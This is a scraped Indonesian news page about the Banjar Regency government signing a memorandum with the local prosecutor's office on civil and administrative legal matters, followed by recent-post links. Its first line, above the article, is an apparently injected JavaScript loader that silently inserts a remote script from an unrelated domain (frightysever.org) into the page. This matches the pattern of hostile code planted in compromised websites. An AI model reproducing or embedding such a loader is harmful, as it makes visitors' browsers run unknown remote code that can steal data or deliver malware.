(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Pemkab Banjar Sepakati MoU Penanganan Masalah Hukum dengan Kejari


KANALKALIMANTAN.COM, MARTAPURA– Pemkab Banjar lakukan penandatanganan nota kesepakatan dengan Kejaksaan Negeri Kabupaten Banjar tentang Penanganan Masalah Hukum Bidang Perdata dan Tata Usaha Negara, di Aula Barakat Martapura, Senin (21/3/2022).

Penandatanganan nota kesepakatan (MoU) ini dilakukan oleh Bupati Banjar H Saidi Mansyur bersama Kajari Kabupaten Banjar Muhammad Bardan, disaksikan Wakil Bupati Banjar Habib Idrus Al Habsyie dan Sekda Banjar HM Hilman.

Saidi Mansyur menjelaskan maksud diadakannya nota kesepakatan ini adalah untuk menangani/menyelesaikan masalah hukum di bidang Perdata dan Tata Usaha Negara yang dihadapi Pemerintah Kabupaten Banjar baik secara litigasi dan non litigasi.

“Dengan adanya Nota Kesepakatan ini, semoga menjadi topang yang kokoh dalam pelaksanaan kordinasi dan efektifitas tugas dan fungsi Pemerintah Kabupaten Banjar dan Kejaksaan Negeri Kabupaten Banjar dalam penyelesaian masalah hukum di bidang perdata dan Tata Usaha Negara,”jelas Saidi.

 

Baca juga  : Warga Protes ke DPRD, Perusahaan Garap Lahan Sawit di Desa Jambu Baru Batola

Saidi berharap koordinasi, komunikasi dan sinergitas yang telah terjalin baik selama ini antara Pemerintah Kabupaten Banjar dan Kejaksaan Negeri Kabupaten Banjar tetap terus terjaga dan semakin meningkat.

“Melalui Nota Kesepakatan ini, menjadi dukungan tambahan dalam menyelenggarakan pembangunan dan memberikan pelayanan terbaik kepada masyarakat guna mewujudkan Kabupaten Banjar yang Maju, Mandiri dan Agamis,” harapnya.

Kepala Kejaksaan Negeri Kabupaten Banjar Muhammad Bardan menjelaskan biasanya kalau MoU harus ditindaklanjuti dengan Surat Kuasa Khusus (SKK).

“Jadi kalau ada permasalahannya dibuat telaahan nanti diterbitkan SKK dari Bupati kepada Kajari tergantung permasalahannya, tugas dan fungsinya ada 5 yaitu Bantuan hukum, pelayanan hukum, penegakkan hukum, pertimbangan hukum dan kekuatan hukum lainnya sesuai yang mana mau dibuatkan SKK,” paparnya.

Ditambahkannya, nota kesepakatan ini merupakan induk yang menjadi kerangka dasar bagi kerja sama antara para pihak dalam hal penanganan masalah hukum di bidang perdata dan tata usaha negara. (Kanalkalimantan.com/rls)

Reporter : rls
Editor : cell


Desy Arfianty

Recent Posts

Pelantikan Pengurus Wilayah Keluarga Besar PII Kalsel

KANALKALIMANTAN.COM, BANJARMASIN – 4 Mei diperingati Hari Bangkit (Harba) organisasi pelajar tertua di Tanah Air,… Read More

6 menit ago

Lesti Kejora Hingga Ria Ricis Siap Ramaikan Silet Awards 2024!

KANALKALIMANTAN.COM, - Ajang penghargaan paling dramatis dan paling sensasional yang ditunggu masyarakat, Silet Awards 2024… Read More

47 menit ago

Kontes Motor 2Tak “Entwosiastrokes Volume 2 2024” di Banjarbaru, Ajang Adu Para Modifikator Banua

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin mengapreasiasi penyelenggaraan event kontes motor "Entwosiastrokes… Read More

2 jam ago

Kali Pertama Airbus A340 Layani Jemaah Haji Embarkasi Banjarmasin

Penerbangan Kloter 1 Sempat Terlambat 30 Menit Read More

5 jam ago

100 Peserta Ramaikan Kejuaraan Catur se Kalteng Piala Pj Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Kejuaraan catur piala Pj Bupati Kapuas se Kalimantan Tengah dibuka oleh… Read More

8 jam ago

Embarkasi Haji Banjarmasin Berangkatkan Kloter 1, 320 Jemaah Menuju Madinah

KANALKALIMANTAN.COM, BANJARBARU - Jemaah haji Kloter pertama diberangkatkan dari Asrama Haji Embarkasi Banjarmasin di Banjarbaru,… Read More

9 jam ago

This website uses cookies.